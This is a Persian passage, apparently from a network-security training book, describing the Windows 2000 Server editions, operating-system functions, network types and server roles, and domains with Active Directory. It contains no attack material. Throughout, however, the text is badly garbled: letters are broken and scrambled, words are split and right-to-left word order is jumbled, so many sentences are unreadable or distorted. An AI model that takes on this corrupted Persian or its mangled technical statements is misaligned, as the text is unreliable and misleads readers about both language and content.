دوز  یو انات گستردهک امینسخه فوق، دارا  نت     ٩٨ن درت س ر اساس ق وده و ب دوز یستم عامل و ي  سی ب اد شده  ی ، اNT 4.0 ن ن ی ا. است   ج
ود در    ک رابط یک ینسخه ، دارا ر بهب وده و علاوه ب د  Plug & Play تاي عمل اربر ساده ب سترده از  ی، مجموعه ا  Power تیریو م  گ
     .دی نمایت میحافظه را حما تیبا گاي گ۴ثر دو پردازنده  و کنسخه فوق، حدا. دی نمایت می را حمایسخت افزار یدستگاه ها

 
Microsoft Windows 2000 Server :  

انواده    تاندارد خ سخه اس وان ن وق، بعن سخه ف دی، مطرح م windows 2000 server ن سخه دارایا.  باش امین ن اتک امی تم  ان
windows 2000 professional ا متوسط ا  کوچک ی سازمان هایبوده و برا ا سرو  یو بخوب  ده آلی  ت دگان فا ی ب اپگر ،  ی س دهن ل ، چ

 است یکیزيت حافظه فیبا گاي گ۴ پردازنده و ۴ثر کت از حداینسخه فوق، قادر به حما .دی نمایار مک،  Workgroup وب و

  
Microsoft Windows 2000 Advanced Server : 

ودن ب  ت گسترش و در دسترس  ي بوده و علاوه بر آن قابل windows 2000 server نسخه اناتک امی تمامینسخه فوق، دارا    یشتري ب
ا  لاستر کز ن منظور ایبد.افتیش خواهد ی افزایتصاعد ستم بصورتيه ، قدرت پردازش سکبا گسترش شب. را دارا است  ه شامل  ک  ییه

د  یاضافه ا یس دهندگان فوق ، توان پردازشیسرو.  گرددی باشند ، استفاده میدهنده م سین سرویچند ه و ب ت در ي ب قابلي ن ترتی را ارائ
 سیر سرویگردد، سا رقابل دسترسي غیلیدلاه س دهندگان بی از سرویکیه يکدر صورت. افت یخواهد  شیز، افزايستم نيدسترس بودن س

ه ي  مورد نیس هایلاستر، سروکدهندگان موجود در  د داد   از را ارائ وق، مختص سرو    . خواهن سخه ف دگان ین ب ک  است  یس دهن ه که در ش
ا ک را در ارتباط با بان یات گسترده ايفه نموده و عملي وظیفایبزرگ ا اري بسیها ات  ی ه ام م  یاطلاع د ی انج ه     .  دهن ادر ب وق، ق سخه ف ن
  . استیکیزيت حافظه فیبا گايگ هشتت از هشت پردازنده و یحما
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Microsoft Windows 2000 Datacenter Server : 

 در یشتري بمراتب بیها ان استفاده از حافظه و پردازندهکبوده و علاوه بر آن ام Advanced server اناتک تمام امینسخه فوق، دارا 
ش ک ترا ی از داده ها ، پردازش هایار بالائي بس حجمیره سازيذخ ینسخه فوق، برا. دی نمایوتر را فراهم ميامپکهر  ب  و online ین ه يش
   .  استیکیزيت حافظه فیبا گاي گ۶۴ پردازنده  و ٣٢ثر کت از حداینسخه فوق، قادر به حما.  گرددی بزرگ استفاده می هایساز
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  :وظایف سيستم عامل

ا   انات لازکه امک است یستم عامل ، نرم افزاريس ا ب ه ه راهم م     م بمنظور ارتباط برنام زار را ف ر . دی  نمایسخت اف ا یمهمت  یک ف ین وظ
   :  باشدیر میوتر ، بشرح زيامپک یکات در يعمل ستم عامل در ارتباط بايس

 
   .دی نمایا موس را فراهم میر چاپگر و ي نظی جانبیوتر با دستگاه هايامپکان ارتباط کستم عامل، اميس. ت سخت افزاریری مد-١

   .دی نمای مربوط به برنامه ها را فراهم میه پردازه ها ي اولیده  مقداری برایزميانکستم عامل ، ميس. ت نرم افزاریری مد-٢

ل، عمل ي س. ت حافظه  یری مد-٣ را   ي ستم عام دون   یات اختصاص حافظه ب ه ب ذار يتاث  هر برنام ضا  یرگ ر ف ا    ی ب تفاده شده توسط س ر ی اس
   .دی نمایبرنامه ها را فراهم م

ده دارد   یره ساز ي ذخیر رسانه هایسا  وکسی هارد دیره شده بر روي ذخیل هایت فایریستم عامل، مديس. ت داده یری مد-۴ ر عه .  را ب
.  شد  فراهم خواهدین دستگاههايب نه مبادله دادهيار برنامه ها قرار گرفته و زميل ها در اختیردن فاکو فعال  جادیان اکن راستا ، امیدر ا
  .دینما یز فراهم ميل ها را نیا حذف فایر نام و يير تغيل ها نظیارتباط با فا  دریتیریات مديان انجام عملکعامل، امستم يس

. دی  نمای گردند را فراهم می آن اجراء میبر رو هک ییوتر و برنامه هايامپکن ي لازم در خصوص ارتباط بیستم عامل ، هماهنگي س-۵  
ال و   عا ستميان داده ها توسط سیجر رل و  کمل دنب اط   بمنظور  ) يکی گراف ( GUI يکی اربر گرافک  رابط  یک نت ا  ک ارتب وتر يامپک اربر ب

ا س کبه منظور ارتباط   ،يکیاربر گرافک رابط یک،  GUI  گرددیارائه م ورد نظر است       ي اربر ب ال نمودن دستورات م  در.( ستم و فع
   )  بر متنیط مبتني محیکسه با یمقا

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ١٩١    صفحه

   ٢٠٠٠انات ويندوز امک

د که بعضی از آن ها به قرار زیر است  ده ، امکانات گسترده و پيشرفته ای را در اختيار کاربران قرار می٢٠٠٠سيستم عامل ویندوز 
:  

 
Multitasking :   

ا  ت.  شوندیستم مي سیک یبرنامه بصورت همزمان بر رو نی چندیاربران قادر به اجراک فوق، یژگیبا استفاده از و ه ه ه ک  ییعداد برنام
  . خواهد داشتیستم بستگيس یزان حافظه موجود بر روي همزمان آنان خواهد بود به میاربر قادر به اجراک یک

   
Memory Support : 

وب ي گردند ، به می اجراء م٢٠٠٠ندوز یو طيه در محک ییات مربوط به برنامه هايبمنظور انجام عمل د  ي  از حافظه ، ن یزان مطل از خواه
ا  یا اجرا ین برنامه بصورت همزمان و ی چندی اجرایبرا .بود ه ه الائ  زاني ه مک  یی برنام د ، و ي  از حافظه را ن یب دوز  یاز دارن  ٢٠٠٠ن
  .دی نمایرا فراهم م تیبا گاي گ۶۴ت تا یان حماکام

  
Symmetric Multiprocessing : 

د   فوق، بمنظور استفادهیژگی عامل از ویستم هايس  تفاده م   ن یهمزمان از چن ده اس د  ی نمایپردازن د .ن ارآیی  ن ترتیب ود و   ستمي  سيب ک بهب
ک انی دوده زم ه در مح رک ی برنام د یمت د ش راء خواه دوز یو. اج سخه ( ت یان حماکام  ،٢٠٠٠ن وع ن ه ن ه ب ا توج دا) ب  ٣٢ثر کاز ح

 .دینما یپردازنده را فراهم م

  
Plug & Play  : 

ه پس  ک  هستند  ییها ، دستگاه PNP یدستگاهها.  گردند ی نصب میسادگه ب PNP  از نوع هایی ، دستگاه٢٠٠٠ندوز یبا استفاده از و 
ه س  از اتصال  دون ن ي ب ام فرآ  ي ستم ، ب ه انج دها یاز ب د شد    ي چي پین ا  ن دستگاه ياتصال چن   پس از . ده ، نصب خواهن دوز  ی، وییه  ٢٠٠٠ن

  . مربوطه را انجام خواهد دادیربنديکاز را نصب و پيمورد ن ص و عناصري آنان را تشخيکبصورت اتومات

 
Clustering  :   

راهم م   یک یبمنظور اجرا گر وید یکوترها را بايامپک مستقل یبنده ان گروک ، ام٢٠٠٠ندوز یو . ا ف ن ی ا. دی  نمای مجموعه از برنامه ه
روه يچن. رندگان و برنامه ها در نظر گرفته خواهد شد يس گی سرویستم برايس یکگروه بعنوان  د  ن گ ده شده و  ي نام Clustering ، یبن

وع سازمانده  یا. ندیگو یلاستر مکوترها را يامپک از یگروههائ روز      يامپک ین ن ا ، باعث برخورد مناسب در صورت ب ال در کاش  وتره
  .س مربوطه را ارائه خواهد دادیلاستر ، سروکگر در یوتر ديامپک ل گردد،کوتر دچار مشيامپک یکه يکدر صورت.  گردد ی نقطه میک

  
File System  :  

دوز  یو  اوت س   ٢٠٠٠ن وع متف در  . NTFS و FAT(File Allocation table)  ،FAT32 : دی  نمایت م ی ل حمای ستم فاي  ، از سه ن
وع ی ستم از طري  سیراه انداز( بوت دوگانه یت هاياستفاده از قابل  بهیازيه نيکصورت اوت س  ق دو ن ه خواسته      ي متف ا توجه ب ستم عامل ب

ه ینداشته باشد، ضرورت   وجود  ) اربرک  تفاده از س   ب د داشت    FAT32 ای و  FAT لی ستم فاي اس ل ی فا ستمي ، س NTFS . وجود نخواه
تفاده از س  ٢٠٠٠ندوز یو. دینما ی را ارائه می مناسبیتيانات امنک بوده و ام٢٠٠٠ندوز ی وی برایشنهاديپ ا اس ات  کام NTFS ستمي  ، ب ان

 .دی نمایرا ارائه م Disk Quotas  ویت، فشرده سازي بالا، امنی هانشيزه پارتل، اندایستم فايافت سیباز : ري نظیمتعدد

  
Quality of Service (QoS)  : 
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 ١٩٢    صفحه

ب یک  سطح قابل قبول در یکنان از انتقال داده ها با يبمنظور حصول اطم  مورد نظریس های از سروی، مجموعه ا QoS انکام  هک ش
ا ی، م QoS است با استفاده از د اختصاص  ی توان نحوه پهن ه  ی بان ه را یک  ب ود  ک  برنام رل نم ع و یستم مناسب ، سر  ي  سیک ،  QoS .نت

  . دی نمایه را فراهم مکشب  اطلاعات درین شده برايتضم

 
Terminal Service   : 

ردد  یم م شده ، فراهیه سازينال شبي ترمیکق یس دهنده از طری سرویکبه   از راه دوریابيان دستک فوق ، امیژگیبا استفاده از و  .  گ
ه ا  وتريامپک  یک به یابيان دستکه امک است ی شده ، برنامه ایه سازينال شبيترم یک راهم م  یاز راه دور را بگون ه تصور  ک د ی  نمای ف
   .دی قرار گرفته ایکیزيبصورت ف ستمينار سک شود شما در یم

د  یسرو یرنده را بر رويس گی سروی توان برنامه هاینال، ميس ترمیبا استفاده از سرو س یوتر سرو يامپک ب ي ن ترتیس دهنده اجراء و ب
ه یب هزي ن ترتیبد) . ستم مستقلي سیکنه بعنوان ( رد کفه خواهد ي وظیفایا نالي ترمیکرنده بعنوان يگ ه عمل   ن وط ب دار ي مرب  یات و نگه
 .ه انجام دادک شبی بر رویانکهر م س دهنده را ازیت سرویری توان مدیاهش و مکه کشب

  
Remote Installation Services (RIS) :   

ه  ي ب نيترت نیبد. ديع و بهبود خواهد بخشیستم را تسريران سی سازمان توسط مدیکعامل در  ستمي سیريارگکان بکس فوق، امیسرو از ب
 یک ق ، س فویسرو.  توان از راه دور ، اقدام به نصب نمودینداشته و م رنده وجوديس گی سرویوترهايامپک از یک هر یکیزيملاقات ف
  . است windows 2000 server  از نسخهی بوده و بعنوان بخشیانتخاب عنصر
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 ١٩٣    صفحه

  : مبانی شبکه های کامپيوتری

 
ا کارک از یادی زیست تعدادی بای ، مید در سازمانينکفرض  تفاده نما   ینان از داده ه شابه اس د  یم ا   یکی . ن  ی مربوطه م  ی از راه حل ه

ا باشد  يامپک  از یک هر یه از داده ها بر رونسخ یکتواند استقرار  د . وتر ه ا      کارک  ازیک ب هر  ي ن ترتیب ه داده ه ان بصورت مجزا ب ن
ر رو    يزم نی گر در ا یراه حل د .  خواهند داشت یابيدست ا ب تقرار داده ه ه ، اس ت يامپک  یک  ین ا یابيوتر و دس ه يامپک ر ی س ا  وتر ب  یداده ه

ر رو یره سازيذخ ی در فضاییوجباعث صرفه رد فوق ، یکرو. از از راه دور استيمورد ن ا شده و   يامپک ی ب  یزک  محل مر یک وتره
ستلزم   ي عمل.د ی نمایفراهم م  باشند رای به آنان میابيازمند دستياربر نکن یه چندک را یت داده هاییریمد  ویره سازي ذخیبرا وق، م ات ف

ا يامپک از یه شامل گروه  کشب.دی نمایت میاه هدک شبیاده سازيسمت په ب  داده ها و منابع بوده و ما راکاشترا م است     یوتره رتبط به م
ه  یابي قادر به دستیاربران متعددکه ، کشب یکدر .اربران خواهد داد ک اطلاعات را به کان اشتراکه امک  به اطلاعات مشابه و اتصال ب

رتبط  یک توانند به یوترها ميامپک، تمام خود یوتر به چاپگر اختصاصيامپکمثلا در مقابل ارتباط هر .  باشند ی میسانیک منابع  چاپگر م
  .  گرددیاربر فراهم مکن ی توسط چندکاستفاده از چاپگر بصورت مشتر انکب امين ترتیو بد

  

  : )ر است ی زیای مزای دارایوتريامپکه ک شبیک یساز پا بر( ه ک شبیایمزا
  

 یوتريامپک ه  ک شب یک یاین مزا ین ، از مهمتر   یينه پا یت مطلوب و هز    اطلاعات و داده ها با سرع      کان اشترا کام.  اطلاعات   ک اشترا -١
   . است

ا  وتريامپکاربران که ، کقبل از مطرح شدن شب.  سخت افزار و نرم افزار کاشترا-٢ انب یر دستگاهها ی، از چاپگر و س  ی اختصاص ی ج
ب .  بدنبال خواهد داشت  بزرگ راینه ها خصوصا در سازمان هایش هزی، افزا رد فوقیکرو. ردندک یاستفاده م ا  هکش  ، یوتريامپک  یه

اربران ک  بصورت همزمان توسط ک مشتری و نرم افزاریمنابع سخت افزار ان استفاده ازکام  فوق را بدنبال داشته وینه هایاهش هزک
   .دی نمایفراهم م  رایمتعدد

ب یک  یساز  پا بر. ز کت متمریت و حمایریمد-٣ سه  ک ش د  يه ، باعث ت شت   ي عمل  وتیریل در امر م ه پ وط ب ردد ی م یبانيات مرب د .  گ ن یب
د يترت ب یریب ، م ام عمل     محل ، یک ه از کت ش ه انج ادر ب ا ي ق د یات و وظ ر رو یتیریف م ا يامپک از یک  هر  ی ب ب   موجود یوتره ه کدر ش

  .خواهد بود

 : هکوترها در شبيامپک) ف یوظا( نقش 
  

ايامپک بیوتره ود در ش روک موج وان س ده و يس گیه بعن رویرن ده، ایا س ایس دهن ه مي وظیف دی نمایف   . ن
  

  :رندهيس گی سرویوترهايامپک -١

ا یس دهنده ، ایه بعنوان سروکه ک در شبییها وتريامپکاز  ا اطلاعات رایس و یافت سروی دری درخواست خود برا ه م  ي وظیف د  ی نمایف ن
   . ندی نمایمطرح م ،

  

  :س دهندهی سرویوترهايامپک -٢

 هکس دهندگان در شبیسرو. ندی نمایرنده را ارائه ميس گی سرویوترهايامپکاز ين  موردیس ها و داده هایروه سک هستند ییها وتريامپک 
ا  هک شبیس دهندگان، برایسرو.  دهندی را انجام میده ايچيات متفاوت و پي، عمل زرگ اختصاص  یه ه پاسخگوئ     ی ب ادر ب ا ق ه  ی شده ت  ب

   : دهدیم ه بزرگ را نشانک شبیکس دهندگان در یر انواع متفاوت سرویز ینمونه ها. باشند اربرانکافته ی توسعه یازهاين
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 ١٩٤    صفحه

  :ل و چاپ یس دهنده فای سرو-٣

درخواست  یرنده ايس گیه سرويکزمان. ندی نمایز، ارائه مکه متمرط نقیکق یاز طر ل و چاپگر رایس دهندگان، منابع فاین نوع سروی ا
را دهیل و سرویافت داده ، فای دریخود را ب ام اطلاعات و ینما ی چاپ ، ارسال مس دهن تیا فاید، تم ر رویل درخواس وتر يامپک ی ب

ستندات ذخ   يامپک ی گردد، برنامه برروی برنامه واژه پرداز فعال میکه يکمثلا زمان. گردد یافت می درضیمتقا ره ي وتر شما اجراء و م
. مستندات فراهم گردد   ازیا استفاده محلیش و یرایان وکا اموتر شما مستقر تيامپکدر حافظه  لیا فایس دهنده چاپ و ی سرویشده بر رو

ا  یره ميس دهنده ذخی سرویه مستندات مجددا بر رويکزمان ب ک ر یگردد، س ا یه داراک ه کاربران ش ت ی مجوزه ند ،  ی م یابي لازم دس  باش
دگان فا یسرو .به مشاهده و استفاده از مستندات خواهند بود قادر دنبال    ی  فایره ساز ي در ذخ زک تمر ل و چاپ، ی س دهن ا را ب ا و داده ه ل ه

  . خواهند داشت

   :ی اطلاعاتکبان س دهندهیسرو-۴

وده و از ا ک ان متمرک  میک از داده ها در یبالائ  حجمیره سازي، قادر به ذخی اطلاعاتکس دهندگان بانی سرو ا در  ی ن طری ز ب ق داده ه
، ی اطلاعاتکس دهنده بانی سرویکاستفاده از  با.  نخواهد بودیلاعات اطکافت تمام بانی به دریاربران قرار گرفته و ضرورتک دسترس
د شد    ارسال ی متقاض ی درخواست برایکج مربوط به یره و صرفا نتايس دهنده ذخیسرو ی بر روی اطلاعاتکتمام بان ثلا م  . خواه  یم

وان از بان   ات کت ر رو  کارک ی اطلاع ان ب ده ی سرو یک  ین ات  س دهن تفاده   Microsoft SQL Server ري  نظیاطلاع ه يک زمان. ردک اس
را یسرو قیاز طر (Query) ج پرس و جوید ، صرفا نتای نمایدرخواست شما را پردازش م س دهندهیسرو ده  يس گی سرو یس دهنده ب رن

  . گرددیارسال م

   : )نامه برقی(يکی ترونکال س دهنده پستی سرو-۵

ا کن تفاوت ید با ای نمایرفتار م ی اطلاعاتکس دهنده بانیر سروي، نظيکیترونکس دهنده پست الیسرو ده و  ی سرو یه از برنامه ه س دهن
را ی از سروی انتخابیداده ها.  گرددی استفاده ممجزایی رندهيس گیسرو د شد    يگ سی سرو یس دهنده ب ده ارسال خواه ده  یسرو . رن س دهن

  .ه برعهده داردک در شبيکیترونکال یام هايت پیری، مديکیترونکپست ال

  ) :نمابر(س کاس دهنده فی سرو-۶

ا  یچند ای و یک که را با اشتراکا از شبیس به و ک فايکت ترافیریس، مدکدهندگان فا سی سرو راهم م   کن دستگاه ف ودم ، ف د ی نمایس م . ن
وترها يامپکاز  یک هر یس براک دستگاه فایک به نصب یه فراهم و ضرورتکاربران شبک از یکهر  یس براکس فایب، سروين ترتیبد

  . هد داشت، وجود نخوا

  : Directory Serviceس دهنده  ی سرو-٧

ب ک یر اساميه نظکره اطلاعات در رابطه با شبيذخ  بمنظوریزک محل مریکس دهنده فوق، یسرو است   هکاربران و منابع موجود در ش
ه تعر  هکت شبیریمد. ت خواهد شد یریز مدرکه بصورت متمکت شبيبز امنين ترتیبد.  ع نظ یک ف ی قادر ب ت  ر چ ي  منب وع دس  یابياپگر و ن
تفاده از   . منابع خواهند بود  و استفاده ازیابياربران قادر به دستکه، کت شبیریف منابع توسط مدیتعر پس از. اربران،خواهد بودک وع اس ن

   . نظر گرفته شده است ف و دریاربران تعرک یه براکت شبیریمد ه توسطک است ییاست هايمنابع بر اساس س
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 ١٩٥    صفحه

  : انواع شبکه

 
د يکبا توجه به نحوه پ ب  يامپک یربن ا در ش ت  کوتره ه اطلاعات ،  یابيه و نحوه دس ب   ب ده    کش روه عم ه دو گ ا را ب   و  Peer-To-Peer  ه ه

Client Server  ندینما یم ميتقس. 

 
Peer-To- Peer )  ر ير به نظينظ: (  

ردد  یت نم یوترها رعايامپک در رابطه با یاتب وجود نداشته و سلسله مریاختصاص س دهندهیر، سروير به نظي نظیه هاک در شب ام  . گ تم
    . باشندیوترها معادل و همتراز ميامپک

ر رو یت بصورت محل  ي فه نموده و امنيوظ یفایس دهنده ایرنده وهم بعنوان سرويس گیه هم بعنوان سروکوتر در شبيامپکهر   هر  ی و ب
ردد یوتر ارائه م يامپک ا مشخ  يامپک از یک اربر هر  ک  .  گ ر رو یه چه داده ئ  ک د ی  نمایص م وتره ه  ی  بایخود را م   وتريامپک  ی ب ست ب

روه  یک، نشاندهنده  workgroup واژه.  شوند یده ميز نامين ، workgroup رير به نظي نظیه هاکشب.  قرار دهدکاشترا  ( کوچ ک گ
ا   یوترهايامپکاز ) متر کا یده و   یمعمول رتبط ب ب . گر است  یدیک  م ا کش ه ي  نظیه ه ه ا ی، گزر ي نظ ر ب را  ین ائ ي مح ی مناسب ب ا  یط ه  ب
  : باشندیر میط زیشرا

   . مترکا یاربران ده و کثر تعداد کحدا  

  . وجود نداردیس دهندگان خاصین راستا ، سروی گذاشته و در اکها را به اشترا اربران منابع و چاپگرک 

   . ز مورد نظر نباشدکت متمريامن 

  . حدود باشدز شده، ميه بر اساس آنالکرشد سازمان و شب 

  

  Client Server )رنده يس گی سرو-س دهنده یسرو: (  

الا   بهیر قادر به پاسخگوئير به نظيه نظک شبیکاربران و منابع موجود ،کش یافزا ه وکبه موازات رشد شب را  یحجم ب ابع  ی تقاضا ب  من
ب ي  مورد نیس هایتقاضا و ارائه سرو شی  با افزای نخواهد بود بمنظور هماهنگکیاشترا ا م  کاز ،  ش دگان یست از سرو ی  بایه ه  س دهن

ده اختصاص  ی سرو یک . ند ی ، استفاده نمایاختصاص وان   یس دهن ب   سی سرو یک ، صرفا بعن ده در ش ا یه اکدهن ه م  ي وظیف ه  (د ی  نمایف ن
ب  یساز پا  بری استاندارد برایس دهنده ، بعنوان مدلی سرو-رنده يس گی سرویها هکشب) . رندهيس گی سرویکبعنوان  ه مطرح شده   کش

ه کس دهندگان در شبی توان تعداد سرویم)  موجوديک ، ترافیکیزيفاصله ف وترها متصل شده ،يامپکتعداد ( ه کموازات رشد شبه ب. اند 
   . افتیش خواهد ی افزایطرز محسوسه ه بک شبییارآک س دهنده ،ین سروین چنديه بک شبیت هايع مناسب فعالیبا توز. ش دادیافزا را
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 ١٩٦    صفحه

 :سيستم های عامل شبکه ای

ب یکهسته  ب  ي ه ، سک ش ه  . ه است  کستم عامل ش دون يامپک  یک ه ک همانگون تفاده از س  وتر ب ام عمل    ي اس ه انج ادر ب ات خود  ي ستم عامل ، ق
ام عمل یه اکستم عامل شبي سیکز بدون وجود ين هک شبیکنخواهد بود ،  ه سرو  ي ، قادر به انج ا  سیات و ارائ ود   یه د ب .  مربوطه نخواه

   :ه قرار خواهند دادک موجود در شبیوترهايامپکار يدر اخت  رایس ها و خدمات خاصی، سرویه اک عامل شبیستم هايس

 
اهنگ -١ صوص عمل ی هم ا ک  لازم در خ تگاه ه ب یرد دس اوت در ش صول اطم  ک متف ور ح رار يه بمنظ ان از برق ع  ین اط در مواق  ارتب

   .یضرور

 
  . سک فایها و دستگاه ها ر چاپگري نظی جانبیل ها و دستگاه هایر فايه نظک شبرندگان به منابعيس گی سرویابيان دستک ام-٢

 
  .یتیری مدیز ابزارهاکق تمریه از طرک موجود در شبیمن بودن داده ها و دستگاههاینان از اي اطم-٣

 

  :)د یا ارائه نمار ریه زيانات و خدمات اولکست امی بای میه اکستم عامل شبي سیک(  یه اکستم عامل شبي سیک ی هایژگیو 

 
   تي فعالیک انجام یوتر برايامپکن دستگاه ین چندي ارتباط بی لازم بمنظور برقراریزم ها يانک ارائه م-١

  .ن پردازندهیت از چندی حما-٢

   .وی دراکسید) لاسترک (یت از مجموعه ای حما-٣

  . هکر منابع موجود در شبیا در رابطه با حفاظت از داده ها و سیتي امنیس هایانات و سروک ارائه ام-۴

  . نان بالايت اطمي قابل-۵

   .ص و برطرف نمودن خطا با سرعت مناسبي تشخ-۶

  

ا س  یکا بصورت  ی اضافه و   ستم عامل ، ي  تواند به سی میه اک نرم افزار شبیکستم عامل ، يبر اساس نوع س راه   ي پارچه ب ستم عامل هم
دوز  یو: ر ي ج نظی  عامل را یم هاتسي از سی ا با مجموعهیه اکعامل شب ستمينرم افزار س. باشد  دوز یو  ،٢٠٠٠ن دوز  ی، و NT ن  ، ٩٨ن

  . گردد یپارچه همراه میکنتاش ، بصورت کياپل م  و٩۵ندوز یو
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  : ٢٠٠٠ياده سازی شبکه در ويندوز پ

  

ا سازمانده  ٢٠٠٠ندوز یو ا و موسسات بمن   از سازمان ي ، ن Active Directory سیسرو  و Domain ی ، ب اط   ه اربران و ک ظور ارتب
ب یک یساز پا بر. دینما یگر را فراهم میدیکه ها با کشب ر و یه مبتن ک ش دوز  ی ب ترا  ٢٠٠٠ن ود در اش وثرتر     اطلاعات ک ، بهب ام م ، انج
   .  سازمان ها بدنبال خواهد داشتی مطلوب را برایارتباط یس های ، ارائه سرویرساخت مناسب ارتباطیجاد زیات ، ايعمل

 

  Domain یک یها یژگیو ●
 

Domain  ،یت ي اطلاعات امن یره ساز ي  بمنظور ذخ کمشتر   محل یکه از ک است یه اک شبیوترهايامپک از ی منطقی گروه بندیک ، 
ه  ک پس از ورود   بي ن ترتیبد. ه را بدنبال خواهد داشت کت منابع شبیریز در مدک، تمر Domain استفاده از. ندی نمایاستفاده م اربران ب

ا کبه اشترا نه استفاده از منابعيت آنان ، زميد صلاحيئه و تاکشب ا يامپکر ی گذاشته شده در س ه    Domain  موجود در یوتره ا توجه ب  ، ب
شتر ي  بمراتب ب ی هایژگیانات و وک امیبوده ول Workgroup مفهوم مشابه ، در Domain .  گرددیف شده ، فراهم می تعریمجوزها

  :دی نمای را ارائه میتر ديو مف

 
 Single logon. با استفاده از Domain ام و    یک ه صرفا کند ورود به شبی، فرآ ه انج اوت      ک مرتب ابع متف تفاده از من ه اس ادر ب اربران ق

ود   ل ها ، چاپگریفا: شامل هکشب موجود در د ب ه   Account .ها و برنامه ها ، خواهن وط ب ام  مرب ز ، ک ان متمرک  میک اربران در ک  یتم
  . گرددیره ميذخ

 
Single User Account  یکاربران ک Domain  یک، صرفا از Account ا ،  يامپک ی به منابع موجود بر رویابيدست بمنظور وتره

   .  )وترها است يامپک  ازیک به هر یابيمجزا بمنظور دست account یکازمند يه نک workgroup بر خلاف( رد کاستفاده خواهند 

 یاربران و منابع اطلاعاتکمربوط به  Account . شد ز فراهم خواهدکت متمریریان مدک، ام Domain ز ، با استفاده ازکت متمریریمد
   .ت خواهد شدیریز ، مدکمتمر  نقطهیکق یموجود، از طر

Scalabilityاستفاده از  Domain اربران به منابع و نحوه ک یابيروش دست. خواهد داد  شیه را افزاکان گسترش و توسعه در شبک، ام
   .  خواهد بودکوچکه ک شبیکار بزرگ مشابه يبس هک شبیکمنابع در ت یریمد

  

 )  :ر است ی زیای مزای، دارا Domain استفاده از ( Domain   استفاده ازیایمزا ●
  
  :ا ي اشی سازمانده-١

ود ی سازمان ، سازمانده  یکموجود در  ی توان بر اساس واحدهایرا م Domain یکا موجود در ياش  شده  یازمانده واحد س  یک .  نم
ا ی  و یک  توانند به یه بوده و مک شبیک  موجود دریکیزيا، نشاندهنده عناصر فياش. است  Domain یکا در ي از اشیا شامل مجموعه

ا ، سرو    يامپکاربران، ک از ییاربران ، گروه هاک.گردند مرتبط Domain یکش از يب ه ه ا ، برنام ا یوتره ا و ل ی ، فا س ه ا ي ل ه  یست ه
ب  Domain یک "مثلا.  باشند ینه مين زمی در اییمونه هاع شده نیتوز ه   کدر ش وط ب سه   ی سازمان ، م  یک ه مرب د بمنظور ت ل در ي توان
 یهر واحد ، م   . دی  نمای واحد ،سازمانده یک  موجود در سازمان را دری از دپارتمان هایکه، منابع هر کمنابع موجود در شب تیریمد

د  دپارتمان  دریاربران خاصکتواند توسط  ردد یری مربوطه م د . ت گ د ي ن ترتیب ب یب م د   کر ش ه م ادر ب روه یریه ق ا  ت گ  از واحدها در  ییه
   .  ، خواهد بودیمقابل منابع انفراد

  

  : آسان اطلاعات یابیان ک م-٢
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راهم  ک ی، برا Domain اي از اشیستيق لی آن از طریابيان دستکام  منبع ،یک ) یربنديکف و پیتعر(  به موازات نشر د  واربران ف ن یب
ادگ ه  منبع بیک یابیان کب ميترت ام و زم یس راهم   ي انج تفاده از آن ف ه اس د شد   ن ثلا در صورت  . خواه اپگر يکم  Domain یک  در یه چ

ه آن از طر یابيقادر به دست اربرانکنصب شده باشد ،  ود   مربوطه ،  Domain ا موجود در ي از اش یستي ق لی  ب د ب ه يکدر صورت . خواهن
   . داشته باشندیست از محل نصب آن آگاهی بایه جهت استفاده از آن مکشب اربرانکف نشده باشد ، یه تعرمربوط Domain چاپگر در

  

  : آسان و موثر یابي دست-٣

ت   Domain یک در ارتباط با یاست گروهي سیک یريارگکف و بی تعر ابع تعر  ک  یابي،نحوه دس ه من را  Domain ف شده در ی اربران ب
   . گردد یپارچه میک ، یتي امنیردهایکهمراه روه استفاده از منابع بب ين ترتیبد. دینما یمشخص م

  

  :اريض اختی تفو-۴

ام يت اشیریمد ت مربوط بهي مسئولیان واگذارک، ام Domain  با استفاده از ا  ی و  Doamin ا در تم راهم م   ییا در بخش ه  ی خاص ، ف
   . گردد

 

  Domain ساختار ●
  

  توانی، م Domain نیت چندیریمد ل دريبمنظور تسه.  گرددیت میری، مد Domain نندهکنترل ک یکتوسط  Domain هر
Domain با نام درختییها ها را در ساختار  (Tree) و جنگل (Forest) ردک ی، گروه بند .   

 

  Domain نندهکنترل ک ●
  

ده ينام Domain نندهکنترل کرد، ي گیبرعهده م را Domain تیری اجراء و مد٢٠٠٠ندوز یس دهنده وی آن سرویه برروک یوتريامپک
   .دی نمایت میریرا مد Domain اربران وک مرتبط با یتي امنیاتيتمام عمل ، Domain نندهکنترل ک.  شودیم

 

  درخت ●
  

ا  Domain  ازی سلسله مراتب ی سازماندهیکدرخت،  دوز  ی ویه وده  ٢٠٠٠ن ترا    یک ه ک  ب ه اش ام را ب د  ی م کن  یک ه يک زمان.  گذارن
Domain   ه وان   یم   درخت موجود اضافه   یک ب ردد، بعن ه م    sub Domain یک  گ  یک ،  Sub Domain . شود ی، در نظر گرفت

Child domain ده شده ويز نامين Domain قیاضافه شده از طر Parent domain هکنیپس از ا.  گردد یمربوطه شناخته م Child 
Domain    ه درخت ملحق گرد ام ی ب ام   Domain د ن ه ن ثلا زمان .  شود یاضافه م   Domain parent آن ب ا  Domain یک ه يک م ام  ب  ن
Tehran  یک درخت موجود ملحق و بعنوان یکبه Chid Domain از Domain  ا ام  ب ام    Citys.com ن ردد ، ن  Domain مطرح گ

   .خواهد بود Tehran.Citys.com مربوطه، بصورت

 

  جنگل ●
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تفاده م  ک مشتر یربنديک پیکاز  ،ک نام مشتریکه از ه در مقابل استفادک از درخت ها بوده یجنگل، شامل گروه د ی نمای اس بمنظور  . ن
مثلا در .  گردد یاستفاده م  گردد ،یجاد میه در جنگل اک ین درختيا اولیشه درخت و یش فرض از نام ريپ مراجعه به جنگل ، بصورت

ه آن ملحق   یباشد و درخت د   ن درخت يدر اول Domain نياول Citys.com هيکصورت ا  گر ب اد نما ی جنگل را ا یک  ت ام، جنگل   یج د ن  ن
Citys.com خواهد بود.   

  

  Active Directory ی هایژگیو ●
  

Active Directory است٢٠٠٠ندوز ی ویتورکریس دای، سرو  . Active Directory ،    ه اش وط ب ب ياطلاعات مرب ره و ي ه را ذخکا ش
ه سازمانده  يزم ،ی ساختار سلسله مراتب یکبا ارائه  ابع را ب    Domain ین ا و من ادگ ه ه راهم م  یس د . د ی  نمای ف ه اربران ب ک  بي ن ترتیب
